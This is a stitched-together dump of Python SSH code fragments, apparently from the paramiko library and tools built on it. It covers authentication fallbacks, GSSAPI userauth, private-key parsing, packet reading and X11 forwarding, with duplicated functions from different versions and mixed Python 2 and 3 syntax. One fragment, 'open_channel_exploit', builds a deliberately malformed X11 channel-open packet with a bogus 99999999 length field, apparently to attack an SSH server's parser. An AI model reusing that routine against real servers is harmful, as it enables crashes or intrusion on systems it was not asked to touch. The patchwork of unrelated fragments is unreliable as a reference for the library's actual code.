Exception as e: self._log(ERROR, "Unknown exception: " + str(e)) self._log(ERROR, util.tb_strings()) self.saved_exception = e _active_threads.remove(self) for chan in list(self._channels.values()): chan._unlink() if self.active: self.active = False self.packetizer.close() if self.completion_event is not None: self.completion_event.set() if self.auth_handler is not None: self.auth_handler.abort() for event in self.channel_events.values(): event.set() try: self.lock.acquire() self.server_accept_cv.notify() finally: self.lock.release() self.sock.close() except: # noqa: E722 # Don't raise spurious 'NoneType has no attribute X' errors when we # wake up during interpreter shutdown. Or rather -- raise # everything *if* sys.modules (used as a convenient sentinel) # appears to still exist. if self.sys.modules is not None: raise
keyfiles.append((RSAKey, rsa_key)) if os.path.isfile(dsa_key): keyfiles.append((DSSKey, dsa_key)) for pkey_class, filename in keyfiles: try: key = pkey_class.from_private_key_file(filename, password) self._log( DEBUG, 'Trying discovered key %s in %s' % (hexlify(key.get_fingerprint()), filename)) self._transport.auth_publickey(username, key) return except SSHException, e: saved_exception = e except IOError, e: saved_exception = e if password is not None: try: self._transport.auth_password(username, password) return except SSHException, e: saved_exception = e # if we got an auth-failed exception earlier, re-raise it if saved_exception is not None: raise saved_exception raise SSHException('No authentication methods available') def _log(self, level, msg): self._transport._log(level, msg)
def test_ssh_exception(self): self.mock_lookup_keys_manager.return_value.add_public_key = MagicMock(side_effect=SSHException()) result, message, status = self.run_add_pub_key_to_resource() self.assertFalse(result) self.assertEqual(status, 502)
def _parse_service_accept(self, m): service = m.get_text() if service == "ssh-userauth": self._log(DEBUG, "userauth is OK") m = Message() m.add_byte(cMSG_USERAUTH_REQUEST) m.add_string(self.username) m.add_string("ssh-connection") m.add_string(self.auth_method) if self.auth_method == "password": m.add_boolean(False) password = bytestring(self.password) m.add_string(password) elif self.auth_method == "publickey": m.add_boolean(True) # Use certificate contents, if available, plain pubkey # otherwise if self.private_key.public_blob: m.add_string(self.private_key.public_blob.key_type) m.add_string(self.private_key.public_blob.key_blob) else: m.add_string(self.private_key.get_name()) m.add_string(self.private_key) blob = self._get_session_blob(self.private_key, "ssh-connection", self.username) sig = self.private_key.sign_ssh_data(blob) m.add_string(sig) elif self.auth_method == "keyboard-interactive": m.add_string("") m.add_string(self.submethods) elif self.auth_method == "gssapi-with-mic": sshgss = GSSAuth(self.auth_method, self.gss_deleg_creds) m.add_bytes(sshgss.ssh_gss_oids()) # send the supported GSSAPI OIDs to the server self.transport._send_message(m) ptype, m = self.transport.packetizer.read_message() if ptype == MSG_USERAUTH_BANNER: self._parse_userauth_banner(m) ptype, m = self.transport.packetizer.read_message() if ptype == MSG_USERAUTH_GSSAPI_RESPONSE: # Read the mechanism selected by the server. We send just # the Kerberos V5 OID, so the server can only respond with # this OID. mech = m.get_string() m = Message() m.add_byte(cMSG_USERAUTH_GSSAPI_TOKEN) try: m.add_string( sshgss.ssh_init_sec_context( self.gss_host, mech, self.username)) except GSS_EXCEPTIONS as e: return self._handle_local_gss_failure(e) self.transport._send_message(m) while True: ptype, m = self.transport.packetizer.read_message() if ptype == MSG_USERAUTH_GSSAPI_TOKEN: srv_token = m.get_string() try: next_token = sshgss.ssh_init_sec_context( self.gss_host, mech, self.username, srv_token, ) except GSS_EXCEPTIONS as e: return self._handle_local_gss_failure(e) # After this step the GSSAPI should not return any # token. If it does, we keep sending the token to # the server until no more token is returned. if next_token is None: break else: m = Message() m.add_byte(cMSG_USERAUTH_GSSAPI_TOKEN) m.add_string(next_token) self.transport.send_message(m) else: raise SSHException("Received Package: {}".format( MSG_NAMES[ptype])) m = Message() m.add_byte(cMSG_USERAUTH_GSSAPI_MIC) # send the MIC to the server m.add_string(sshgss.ssh_get_mic(self.transport.session_id)) elif ptype == MSG_USERAUTH_GSSAPI_ERRTOK: # RFC 4462 says we are not required to implement GSS-API # error messages. # See RFC 4462 Section 3.8 in # http://www.ietf.org/rfc/rfc4462.txt raise SSHException("Server returned an error token") elif ptype == MSG_USERAUTH_GSSAPI_ERROR: maj_status = m.get_int() min_status = m.get_int() err_msg = m.get_string() m.get_string() # Lang tag - discarded raise SSHException("""GSS-API Error: Major Status: {} Minor Status: {} Error Message: {} """.format(maj_status, min_status, err_msg)) elif ptype == MSG_USERAUTH_FAILURE: self._parse_userauth_failure(m) return else: raise SSHException("Received Package: {}".format( MSG_NAMES[ptype])) elif (self.auth_method == "gssapi-keyex" and self.transport.gss_kex_used): kexgss = self.transport.kexgss_ctxt kexgss.set_username(self.username) mic_token = kexgss.ssh_get_mic(self.transport.session_id) m.add_string(mic_token) elif self.auth_method == "none": pass else: raise SSHException('Unknown auth method "{}"'.format( self.auth_method)) self.transport._send_message(m) else: self._log(DEBUG, 'Service request "{}" accepted (?)'.format(service))
def _read_private_key_new_format(data, password): """ Read the new OpenSSH SSH2 private key format available since OpenSSH version 6.5 Reference: https://github.com/openssh/openssh-portable/blob/master/PROTOCOL.key https://coolaj86.com/articles/the-openssh-private-key-format/ """ message = Message(data) OPENSSH_AUTH_MAGIC = b"openssh-key-v1\x00" if message.get_bytes(len(OPENSSH_AUTH_MAGIC)) != OPENSSH_AUTH_MAGIC: raise SSHException("unexpected OpenSSH key header encountered") cipher = message.get_text() kdfname = message.get_text() kdfoptions = message.get_binary() num_keys = message.get_int() if num_keys > 1: raise SSHException( "unsupported: private keyfile has multiple keys") public_data = message.get_binary() privkey_blob = message.get_binary() pub_keytype = Message(public_data).get_text() if kdfname == "none": if kdfoptions or cipher != "none": raise SSHException("Invalid key options for kdf 'none'") private_data = privkey_blob elif kdfname == "bcrypt": if not password: raise PasswordRequiredException( "Private key file is encrypted") if cipher == 'aes256-cbc': mode = modes.CBC elif cipher == 'aes256-ctr': mode = modes.CTR else: raise SSHException( "unknown cipher '%s' used in private key file" % cipher) kdf = Message(kdfoptions) salt = kdf.get_binary() rounds = kdf.get_int() # run bcrypt kdf to derive key and iv/nonce (desired_key_bytes = 32 + 16 bytes) key_iv = bcrypt.kdf(b(password), salt, 48, rounds, ignore_few_rounds=True) key = key_iv[:32] iv = key_iv[32:] # decrypt private key blob decryptor = Cipher(algorithms.AES(key), mode(iv), default_backend()).decryptor() private_data = decryptor.update( privkey_blob) + decryptor.finalize() else: raise SSHException( "unknown cipher or kdf used in private key file") # Unpack private key and verify checkints priv_msg = Message(private_data) checkint1 = priv_msg.get_int() checkint2 = priv_msg.get_int() if checkint1 != checkint2: raise SSHException( 'OpenSSH private key file checkints do not match') keytype = priv_msg.get_text() if pub_keytype != keytype: raise SSHException( "Inconsistent key types for public and private parts") keydata = priv_msg.get_remainder() return keytype, _unpad(keydata)
def read_message(self): """ Only one thread should ever be in this function (no other locking is done). :raises: `.SSHException` -- if the packet is mangled :raises: `.NeedRekeyException` -- if the transport should rekey """ header = self.read_all(self.__block_size_in, check_rekey=True) if self.__block_engine_in is not None: header = self.__block_engine_in.update(header) if self.__dump_packets: self._log(DEBUG, util.format_binary(header, 'IN: ')) packet_size = struct.unpack('>I', header[:4])[0] # leftover contains decrypted bytes from the first block (after the # length field) leftover = header[4:] if (packet_size - len(leftover)) % self.__block_size_in != 0: raise SSHException('Invalid packet blocking') buf = self.read_all(packet_size + self.__mac_size_in - len(leftover)) packet = buf[:packet_size - len(leftover)] post_packet = buf[packet_size - len(leftover):] if self.__block_engine_in is not None: packet = self.__block_engine_in.update(packet) if self.__dump_packets: self._log(DEBUG, util.format_binary(packet, 'IN: ')) packet = leftover + packet if self.__mac_size_in > 0: mac = post_packet[:self.__mac_size_in] mac_payload = struct.pack( '>II', self.__sequence_number_in, packet_size) + packet my_mac = compute_hmac( self.__mac_key_in, mac_payload, self.__mac_engine_in)[:self.__mac_size_in] if not util.constant_time_bytes_eq(my_mac, mac): raise SSHException('Mismatched MAC') padding = byte_ord(packet[0]) payload = packet[1:packet_size - padding] if self.__dump_packets: self._log( DEBUG, 'Got payload (%d bytes, %d padding)' % (packet_size, padding)) if self.__compress_engine_in is not None: payload = self.__compress_engine_in(payload) msg = Message(payload[1:]) msg.seqno = self.__sequence_number_in self.__sequence_number_in = (self.__sequence_number_in + 1) & xffffffff # check for rekey raw_packet_size = packet_size + self.__mac_size_in + 4 self.__received_bytes += raw_packet_size self.__received_packets += 1 if self.__need_rekey: # we've asked to rekey -- give them some packets to comply before # dropping the connection self.__received_bytes_overflow += raw_packet_size self.__received_packets_overflow += 1 if (self.__received_packets_overflow >= self.REKEY_PACKETS_OVERFLOW_MAX) or \ (self.__received_bytes_overflow >= self.REKEY_BYTES_OVERFLOW_MAX): raise SSHException( 'Remote transport is ignoring rekey requests') elif (self.__received_packets >= self.REKEY_PACKETS) or \ (self.__received_bytes >= self.REKEY_BYTES): # only ask once for rekeying self._log(DEBUG, 'Rekeying (hit %d packets, %d bytes received)' % (self.__received_packets, self.__received_bytes)) self.__received_bytes_overflow = 0 self.__received_packets_overflow = 0 self._trigger_rekey() cmd = byte_ord(payload[0]) if cmd in MSG_NAMES: cmd_name = MSG_NAMES[cmd] else: cmd_name = '$%x' % cmd if self.__dump_packets: self._log( DEBUG, 'Read packet <%s>, length %d' % (cmd_name, len(payload))) return cmd, msg
def _parse_signing_key_data(self, data, password): from paramiko.transport import Transport # We may eventually want this to be usable for other key types, as # OpenSSH moves to it, but for now this is just for Ed25519 keys. # This format is described here: # https://github.com/openssh/openssh-portable/blob/master/PROTOCOL.key # The description isn't totally complete, and I had to refer to the # source for a full implementation. message = Message(data) if message.get_bytes(len(OPENSSH_AUTH_MAGIC)) != OPENSSH_AUTH_MAGIC: raise SSHException("Invalid key") ciphername = message.get_text() kdfname = message.get_text() kdfoptions = message.get_binary() num_keys = message.get_int() if kdfname == "none": # kdfname of "none" must have an empty kdfoptions, the ciphername # must be "none" if kdfoptions or ciphername != "none": raise SSHException("Invalid key") elif kdfname == "bcrypt": if not password: raise PasswordRequiredException( "Private key file is encrypted") kdf = Message(kdfoptions) bcrypt_salt = kdf.get_binary() bcrypt_rounds = kdf.get_int() else: raise SSHException("Invalid key") if ciphername != "none" and ciphername not in Transport._cipher_info: raise SSHException("Invalid key") public_keys = [] for _ in range(num_keys): pubkey = Message(message.get_binary()) if pubkey.get_text() != "ssh-ed25519": raise SSHException("Invalid key") public_keys.append(pubkey.get_binary()) private_ciphertext = message.get_binary() if ciphername == "none": private_data = private_ciphertext else: cipher = Transport._cipher_info[ciphername] key = bcrypt.kdf( password=password, salt=bcrypt_salt, desired_key_bytes=cipher["key-size"] + cipher["block-size"], rounds=bcrypt_rounds, # We can't control how many rounds are on disk, so no sense # warning about it. ignore_few_rounds=True, ) decryptor = Cipher(cipher["class"](key[:cipher["key-size"]]), cipher["mode"](key[cipher["key-size"]:]), backend=default_backend()).decryptor() private_data = (decryptor.update(private_ciphertext) + decryptor.finalize()) message = Message(unpad(private_data)) if message.get_int() != message.get_int(): raise SSHException("Invalid key") signing_keys = [] for i in range(num_keys): if message.get_text() != "ssh-ed25519": raise SSHException("Invalid key") # A copy of the public key, again, ignore. public = message.get_binary() key_data = message.get_binary() # The second half of the key data is yet another copy of the public # key... signing_key = nacl.signing.SigningKey(key_data[:32]) # Verify that all the public keys are the same... assert (signing_key.verify_key.encode() == public == public_keys[i] == key_data[32:]) signing_keys.append(signing_key) # Comment, ignore. message.get_binary() if len(signing_keys) != 1: raise SSHException("Invalid key") return signing_keys[0]
def _check(self, *args, **kwds): if (self.closed or self.eof_received or self.eof_sent or not self.active): raise SSHException('Channel is not open') return func(self, *args, **kwds)
def __init__(self, msg=None, data=None, filename=None, password=None, vals=None, file_obj=None, validate_point=True, _raw=None): self.verifying_key = None self.signing_key = None self.public_blob = None if file_obj is not None: _raw = self._from_private_key(file_obj, password) if filename is not None: _raw = self._from_private_key_file(filename, password) if _raw is not None: self._decode_key(_raw) return if (msg is None) and (data is not None): msg = Message(data) if vals is not None: self.signing_key, self.verifying_key = vals c_class = self.signing_key.curve.__class__ self.ecdsa_curve = self._ECDSA_CURVES.get_by_curve_class(c_class) else: # Must set ecdsa_curve first; subroutines called herein may need to # spit out our get_name(), which relies on this. key_type = msg.get_text() # But this also means we need to hand it a real key/curve # identifier, so strip out any cert business. (NOTE: could push # that into _ECDSACurveSet.get_by_key_format_identifier(), but it # feels more correct to do it here?) suffix = '*****@*****.**' if key_type.endswith(suffix): key_type = key_type[:-len(suffix)] self.ecdsa_curve = self._ECDSA_CURVES.get_by_key_format_identifier( key_type) key_types = self._ECDSA_CURVES.get_key_format_identifier_list() cert_types = [ '{}[email protected]'.format(x) for x in key_types ] self._check_type_and_load_cert( msg=msg, key_type=key_types, cert_type=cert_types, ) curvename = msg.get_text() if curvename != self.ecdsa_curve.nist_name: raise SSHException( "Can't handle curve of type {}".format(curvename)) pointinfo = msg.get_binary() try: if hasattr(ec.EllipticCurvePublicKey, 'from_encoded_point'): key = ec.EllipticCurvePublicKey.from_encoded_point( self.ecdsa_curve.curve_class(), pointinfo) self.verifying_key = key else: numbers = ec.EllipticCurvePublicNumbers.from_encoded_point( self.ecdsa_curve.curve_class(), pointinfo) self.verifying_key = numbers.public_key( backend=default_backend()) except ValueError: raise SSHException("Invalid public key")
def _connect(self, host, socket=None): """ Order of precedence for SSH connection parameters: 1. If user supplies parameters via action parameters, we use them to connect. 2. For parameters not supplied via action parameters, if there is an entry for host in SSH config file, we use those. Note that this is a merge operation. 3. If user does not supply certain action parameters (username and key file location) and there is no entry for host in SSH config file, we use values supplied in st2 config file for those parameters. :type host: ``str`` :param host: Host to connect to :type socket: :class:`paramiko.Channel` or an opened :class:`socket.socket` :param socket: If specified, won't open a socket for communication to the specified host and will use this instead :return: A connected SSHClient :rtype: :class:`paramiko.SSHClient` """ conninfo = { 'hostname': host, 'allow_agent': False, 'look_for_keys': False, 'timeout': self.timeout } ssh_config_file_info = {} if cfg.CONF.ssh_runner.use_ssh_config: ssh_config_file_info = self._get_ssh_config_for_host(host) self.username = (self.username or ssh_config_file_info.get('user', None) or cfg.CONF.system_user.user) self.port = self.port or ssh_config_file_info.get( 'port' or None) or DEFAULT_SSH_PORT # If both key file and key material are provided as action parameters, # throw an error informing user only one is required. if self.key_files and self.key_material: msg = ( 'key_files and key_material arguments are mutually exclusive. Supply only one.' ) raise ValueError(msg) # If neither key material nor password is provided, only then we look at key file and decide # if we want to use the user supplied one or the one in SSH config. if not self.key_material and not self.password: self.key_files = (self.key_files or ssh_config_file_info.get( 'identityfile', None) or cfg.CONF.system_user.ssh_key_file) if self.passphrase and not (self.key_files or self.key_material): raise ValueError( 'passphrase should accompany private key material') credentials_provided = self.password or self.key_files or self.key_material if not credentials_provided: msg = ( 'Either password or key file location or key material should be supplied ' + 'for action. You can also add an entry for host %s in SSH config file %s.' % (host, self.ssh_config_file)) raise ValueError(msg) conninfo['username'] = self.username conninfo['port'] = self.port if self.password: conninfo['password'] = self.password if self.key_files: conninfo['key_filename'] = self.key_files passphrase_reqd = self._is_key_file_needs_passphrase( self.key_files) if passphrase_reqd and not self.passphrase: msg = ( 'Private key file %s is passphrase protected. Supply a passphrase.' % self.key_files) raise paramiko.ssh_exception.PasswordRequiredException(msg) if self.passphrase: # Optional passphrase for unlocking the private key conninfo['password'] = self.passphrase if self.key_material: conninfo['pkey'] = self._get_pkey_object( key_material=self.key_material, passphrase=self.passphrase) if not self.password and not (self.key_files or self.key_material): conninfo['allow_agent'] = True conninfo['look_for_keys'] = True extra = { '_hostname': host, '_port': self.port, '_username': self.username, '_timeout': self.timeout } self.logger.debug('Connecting to server', extra=extra) socket = socket or ssh_config_file_info.get('sock', None) if socket: conninfo['sock'] = socket client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) extra = {'_conninfo': conninfo} self.logger.debug('Connection info', extra=extra) try: client.connect(**conninfo) except SSHException as e: paramiko_msg = str(e) if conninfo.get('password', None): conninfo['password'] = '******' msg = ('Error connecting to host %s ' % host + 'with connection parameters %s.' % conninfo + 'Paramiko error: %s.' % paramiko_msg) raise SSHException(msg) return client
def read_message(self): """ Only one thread should ever be in this function (no other locking is done). :raises: `.SSHException` -- if the packet is mangled :raises: `.NeedRekeyException` -- if the transport should rekey """ header = self.read_all(self.__block_size_in, check_rekey=True) if self.__etm_in: packet_size = struct.unpack(">I", header[:4])[0] remaining = packet_size - self.__block_size_in + 4 packet = header[4:] + self.read_all(remaining, check_rekey=False) mac = self.read_all(self.__mac_size_in, check_rekey=False) mac_payload = ( struct.pack(">II", self.__sequence_number_in, packet_size) + packet ) my_mac = compute_hmac( self.__mac_key_in, mac_payload, self.__mac_engine_in )[: self.__mac_size_in] if not util.constant_time_bytes_eq(my_mac, mac): raise SSHException("Mismatched MAC") header = packet if self.__block_engine_in is not None: header = self.__block_engine_in.update(header) if self.__dump_packets: self._log(DEBUG, util.format_binary(header, "IN: ")) # When ETM is in play, we've already read the packet size & decrypted # everything, so just set the packet back to the header we obtained. if self.__etm_in: packet = header # Otherwise, use the older non-ETM logic else: packet_size = struct.unpack(">I", header[:4])[0] # leftover contains decrypted bytes from the first block (after the # length field) leftover = header[4:] if (packet_size - len(leftover)) % self.__block_size_in != 0: raise SSHException("Invalid packet blocking") buf = self.read_all( packet_size + self.__mac_size_in - len(leftover) ) packet = buf[: packet_size - len(leftover)] post_packet = buf[packet_size - len(leftover) :] if self.__block_engine_in is not None: packet = self.__block_engine_in.update(packet) packet = leftover + packet if self.__dump_packets: self._log(DEBUG, util.format_binary(packet, "IN: ")) if self.__mac_size_in > 0 and not self.__etm_in: mac = post_packet[: self.__mac_size_in] mac_payload = ( struct.pack(">II", self.__sequence_number_in, packet_size) + packet ) my_mac = compute_hmac( self.__mac_key_in, mac_payload, self.__mac_engine_in )[: self.__mac_size_in] if not util.constant_time_bytes_eq(my_mac, mac): raise SSHException("Mismatched MAC") padding = byte_ord(packet[0]) payload = packet[1 : packet_size - padding] if self.__dump_packets: self._log( DEBUG, "Got payload ({} bytes, {} padding)".format( packet_size, padding ), ) if self.__compress_engine_in is not None: payload = self.__compress_engine_in(payload) msg = Message(payload[1:]) msg.seqno = self.__sequence_number_in self.__sequence_number_in = (self.__sequence_number_in + 1) & xffffffff # check for rekey raw_packet_size = packet_size + self.__mac_size_in + 4 self.__received_bytes += raw_packet_size self.__received_packets += 1 if self.__need_rekey: # we've asked to rekey -- give them some packets to comply before # dropping the connection self.__received_bytes_overflow += raw_packet_size self.__received_packets_overflow += 1 if ( self.__received_packets_overflow >= self.REKEY_PACKETS_OVERFLOW_MAX ) or ( self.__received_bytes_overflow >= self.REKEY_BYTES_OVERFLOW_MAX ): raise SSHException( "Remote transport is ignoring rekey requests" ) elif (self.__received_packets >= self.REKEY_PACKETS) or ( self.__received_bytes >= self.REKEY_BYTES ): # only ask once for rekeying err = "Rekeying (hit {} packets, {} bytes received)" self._log( DEBUG, err.format(self.__received_packets, self.__received_bytes), ) self.__received_bytes_overflow = 0 self.__received_packets_overflow = 0 self._trigger_rekey() cmd = byte_ord(payload[0]) if cmd in MSG_NAMES: cmd_name = MSG_NAMES[cmd] else: cmd_name = "${:x}".format(cmd) if self.__dump_packets: self._log( DEBUG, "Read packet <{}>, length {}".format(cmd_name, len(payload)), ) return cmd, msg
def _parse_service_accept(self, m): service = m.get_text() if service == 'ssh-userauth': self.transport._log(DEBUG, 'userauth is OK') m = Message() m.add_byte(cMSG_USERAUTH_REQUEST) m.add_string(self.username) m.add_string('ssh-connection') m.add_string(self.auth_method) if self.auth_method == 'password': m.add_boolean(False) password = bytestring(self.password) m.add_string(password) elif self.auth_method == 'publickey': m.add_boolean(True) m.add_string(self.private_key.get_name()) m.add_string(self.private_key) blob = self._get_session_blob(self.private_key, 'ssh-connection', self.username) sig = self.private_key.sign_ssh_data(blob) m.add_string(sig) elif self.auth_method == 'keyboard-interactive': m.add_string('') m.add_string(self.submethods) elif self.auth_method == "gssapi-with-mic": sshgss = GSSAuth(self.auth_method, self.gss_deleg_creds) m.add_bytes(sshgss.ssh_gss_oids()) # send the supported GSSAPI OIDs to the server self.transport._send_message(m) ptype, m = self.transport.packetizer.read_message() if ptype == MSG_USERAUTH_BANNER: self._parse_userauth_banner(m) ptype, m = self.transport.packetizer.read_message() if ptype == MSG_USERAUTH_GSSAPI_RESPONSE: # Read the mechanism selected by the server. We send just # the Kerberos V5 OID, so the server can only respond with # this OID. mech = m.get_string() m = Message() m.add_byte(cMSG_USERAUTH_GSSAPI_TOKEN) m.add_string(sshgss.ssh_init_sec_context(self.gss_host, mech, self.username,)) self.transport._send_message(m) while True: ptype, m = self.transport.packetizer.read_message() if ptype == MSG_USERAUTH_GSSAPI_TOKEN: srv_token = m.get_string() next_token = sshgss.ssh_init_sec_context(self.gss_host, mech, self.username, srv_token) # After this step the GSSAPI should not return any # token. If it does, we keep sending the token to # the server until no more token is returned. if next_token is None: break else: m = Message() m.add_byte(cMSG_USERAUTH_GSSAPI_TOKEN) m.add_string(next_token) self.transport.send_message(m) else: raise SSHException("Received Package: %s" % MSG_NAMES[ptype]) m = Message() m.add_byte(cMSG_USERAUTH_GSSAPI_MIC) # send the MIC to the server m.add_string(sshgss.ssh_get_mic(self.transport.session_id)) elif ptype == MSG_USERAUTH_GSSAPI_ERRTOK: # RFC 4462 says we are not required to implement GSS-API # error messages. # See RFC 4462 Section 3.8 in # http://www.ietf.org/rfc/rfc4462.txt raise SSHException("Server returned an error token") elif ptype == MSG_USERAUTH_GSSAPI_ERROR: maj_status = m.get_int() min_status = m.get_int() err_msg = m.get_string() lang_tag = m.get_string() # we don't care! raise SSHException("GSS-API Error:\nMajor Status: %s\n\ Minor Status: %s\ \nError Message:\ %s\n") % (str(maj_status), str(min_status), err_msg) elif ptype == MSG_USERAUTH_FAILURE: self._parse_userauth_failure(m) return else: raise SSHException("Received Package: %s" % MSG_NAMES[ptype]) elif self.auth_method == 'gssapi-keyex' and\ self.transport.gss_kex_used: kexgss = self.transport.kexgss_ctxt kexgss.set_username(self.username) mic_token = kexgss.ssh_get_mic(self.transport.session_id) m.add_string(mic_token) elif self.auth_method == 'none': pass else: raise SSHException('Unknown auth method "%s"' % self.auth_method) self.transport._send_message(m) else: self.transport._log(DEBUG, 'Service request "%s" accepted (?)' % service)
def request_x11(self, screen_number=0, auth_protocol=None, auth_cookie=None, single_connection=False, handler=None): """ Request an x11 session on this channel. If the server allows it, further x11 requests can be made from the server to the client, when an x11 application is run in a shell session. From RFC4254:: It is RECOMMENDED that the 'x11 authentication cookie' that is sent be a fake, random cookie, and that the cookie be checked and replaced by the real cookie when a connection request is received. If you omit the auth_cookie, a new secure random 128-bit value will be generated, used, and returned. You will need to use this value to verify incoming x11 requests and replace them with the actual local x11 cookie (which requires some knowledge of the x11 protocol). If a handler is passed in, the handler is called from another thread whenever a new x11 connection arrives. The default handler queues up incoming x11 connections, which may be retrieved using `.Transport.accept`. The handler's calling signature is:: handler(channel: Channel, (address: str, port: int)) :param int screen_number: the x11 screen number (0, 10, etc.) :param str auth_protocol: the name of the X11 authentication method used; if none is given, ``"MIT-MAGIC-COOKIE-1"`` is used :param str auth_cookie: hexadecimal string containing the x11 auth cookie; if none is given, a secure random 128-bit value is generated :param bool single_connection: if True, only a single x11 connection will be forwarded (by default, any number of x11 connections can arrive over this session) :param function handler: an optional handler to use for incoming X11 connections :return: the auth_cookie used """ if self.closed or self.eof_received or self.eof_sent or not self.active: raise SSHException('Channel is not open') if auth_protocol is None: auth_protocol = 'MIT-MAGIC-COOKIE-1' if auth_cookie is None: auth_cookie = binascii.hexlify(os.urandom(16)) m = Message() m.add_byte(cMSG_CHANNEL_REQUEST) m.add_int(self.remote_chanid) m.add_string('x11-req') m.add_boolean(True) m.add_boolean(single_connection) m.add_string(auth_protocol) m.add_string(auth_cookie) m.add_int(screen_number) self._event_pending() self.transport._send_user_message(m) self._wait_for_event() self.transport._set_x11_handler(handler) return auth_cookie
def _auth(self, username, password, pkey, key_filenames, allow_agent, look_for_keys): """ Try, in order: - The key passed in, if one was passed in. - Any key we can find through an SSH agent (if allowed). - Any "id_rsa" or "id_dsa" key discoverable in ~/.ssh/ (if allowed). - Plain username/password auth, if a password was given. (The password might be needed to unlock a private key, or for two-factor authentication [for which it is required].) """ saved_exception = None two_factor = False allowed_types = [] if pkey is not None: try: self._log( DEBUG, 'Trying SSH key %s' % hexlify(pkey.get_fingerprint())) allowed_types = self._transport.auth_publickey(username, pkey) two_factor = (allowed_types == ['password']) if not two_factor: return except SSHException as e: saved_exception = e if not two_factor: for key_filename in key_filenames: for pkey_class in (RSAKey, DSSKey): try: key = pkey_class.from_private_key_file( key_filename, password) self._log( DEBUG, 'Trying key %s from %s' % (hexlify(key.get_fingerprint()), key_filename)) self._transport.auth_publickey(username, key) two_factor = (allowed_types == ['password']) if not two_factor: return break except SSHException as e: saved_exception = e if not two_factor and allow_agent: if self._agent is None: self._agent = Agent() for key in self._agent.get_keys(): try: self._log( DEBUG, 'Trying SSH agent key %s' % hexlify(key.get_fingerprint())) # for 2-factor auth a successfully auth'd key will result in ['password'] allowed_types = self._transport.auth_publickey( username, key) two_factor = (allowed_types == ['password']) if not two_factor: return break except SSHException as e: saved_exception = e if not two_factor: keyfiles = [] rsa_key = os.path.expanduser('~/.ssh/id_rsa') dsa_key = os.path.expanduser('~/.ssh/id_dsa') if os.path.isfile(rsa_key): keyfiles.append((RSAKey, rsa_key)) if os.path.isfile(dsa_key): keyfiles.append((DSSKey, dsa_key)) # look in ~/ssh/ for windows users: rsa_key = os.path.expanduser('~/ssh/id_rsa') dsa_key = os.path.expanduser('~/ssh/id_dsa') if os.path.isfile(rsa_key): keyfiles.append((RSAKey, rsa_key)) if os.path.isfile(dsa_key): keyfiles.append((DSSKey, dsa_key)) if not look_for_keys: keyfiles = [] for pkey_class, filename in keyfiles: try: key = pkey_class.from_private_key_file(filename, password) self._log( DEBUG, 'Trying discovered key %s in %s' % (hexlify(key.get_fingerprint()), filename)) # for 2-factor auth a successfully auth'd key will result in ['password'] allowed_types = self._transport.auth_publickey( username, key) two_factor = (allowed_types == ['password']) if not two_factor: return break except (SSHException, IOError) as e: saved_exception = e if password is not None: try: self._transport.auth_password(username, password) return except SSHException as e: saved_exception = e elif two_factor: raise SSHException('Two-factor authentication requires a password') # if we got an auth-failed exception earlier, re-raise it if saved_exception is not None: raise saved_exception raise SSHException('No authentication methods available')
def open_channel_exploit(self, kind, dest_addr=None, src_addr=None, window_size=None, max_packet_size=None): """ Request a new channel to the server. `Channels <.Channel>` are socket-like objects used for the actual transfer of data across the session. You may only request a channel after negotiating encryption (using `connect` or `start_client`) and authenticating. .. note:: Modifying the the window and packet sizes might have adverse effects on the channel created. The default values are the same as in the OpenSSH code base and have been battle tested. :param str kind: the kind of channel requested (usually ``"session"``, ``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"``) :param tuple dest_addr: the destination address (address + port tuple) of this port forwarding, if ``kind`` is ``"forwarded-tcpip"`` or ``"direct-tcpip"`` (ignored for other channel types) :param src_addr: the source address of this port forwarding, if ``kind`` is ``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"`` :param int window_size: optional window size for this session. :param int max_packet_size: optional max packet size for this session. :return: a new `.Channel` on success :raises SSHException: if the request is rejected or the session ends prematurely .. versionchanged:: 1.15 Added the ``window_size`` and ``max_packet_size`` arguments. """ if not self.active: raise SSHException('SSH session not active') self.lock.acquire() try: window_size = self._sanitize_window_size(window_size) max_packet_size = self._sanitize_packet_size(max_packet_size) chanid = self._next_channel() m = Message() m.add_byte(cMSG_CHANNEL_OPEN) m.add_string("x11" if kind == "x11exploit" else kind) m.add_int(chanid) m.add_int(window_size) m.add_int(max_packet_size) if (kind == 'forwarded-tcpip') or (kind == 'direct-tcpip'): m.add_string(dest_addr[0]) m.add_int(dest_addr[1]) m.add_string(src_addr[0]) m.add_int(src_addr[1]) elif kind == 'x11': m.add_string(src_addr[0]) m.add_int(src_addr[1]) elif kind == 'x11exploit': m.add_int(99999999) m.add_bytes('') m.add_int(src_addr[1]) chan = Channel(chanid) self._channels.put(chanid, chan) self.channel_events[chanid] = event = threading.Event() self.channels_seen[chanid] = True chan._set_transport(self) chan._set_window(window_size, max_packet_size) finally: self.lock.release() self._send_user_message(m) while True: event.wait(0.1) if not self.active: e = self.get_exception() if e is None: e = SSHException('Unable to open channel.') raise e if event.is_set(): break chan = self._channels.get(chanid) if chan is not None: return chan e = self.get_exception() if e is None: e = SSHException('Unable to open channel.') raise e
def missing_host_key(self, client, hostname, key): client._log( DEBUG, 'Rejecting %s host key for %s: %s' % (key.get_name(), hostname, hexlify(key.get_fingerprint()))) raise SSHException('Server %r not found in known_hosts' % hostname)
def _auth( self, username, password, pkey, key_filenames, allow_agent, look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host, passphrase, ): """ Try, in order: - The key(s) passed in, if one was passed in. - Any key we can find through an SSH agent (if allowed). - Any "id_rsa", "id_dsa" or "id_ecdsa" key discoverable in ~/.ssh/ (if allowed). - Plain username/password auth, if a password was given. (The password might be needed to unlock a private key [if 'passphrase' isn't also given], or for two-factor authentication [for which it is required].) """ saved_exception = None two_factor = False allowed_types = set() two_factor_types = {'keyboard-interactive', 'password'} if passphrase is None and password is not None: passphrase = password # If GSS-API support and GSS-PI Key Exchange was performed, we attempt # authentication with gssapi-keyex. if gss_kex and self._transport.gss_kex_used: try: self._transport.auth_gssapi_keyex(username) return except Exception as e: saved_exception = e # Try GSS-API authentication (gssapi-with-mic) only if GSS-API Key # Exchange is not performed, because if we use GSS-API for the key # exchange, there is already a fully established GSS-API context, so # why should we do that again? if gss_auth: try: return self._transport.auth_gssapi_with_mic( username, gss_host, gss_deleg_creds, ) except Exception as e: saved_exception = e # detect what authentication methods the server supports # mirrors what openssh client does try: self._transport.auth_none(username) except BadAuthenticationType as e: allowed_types = set(e.allowed_types) else: return # successful login with no auth # some servers do not return allowed auth 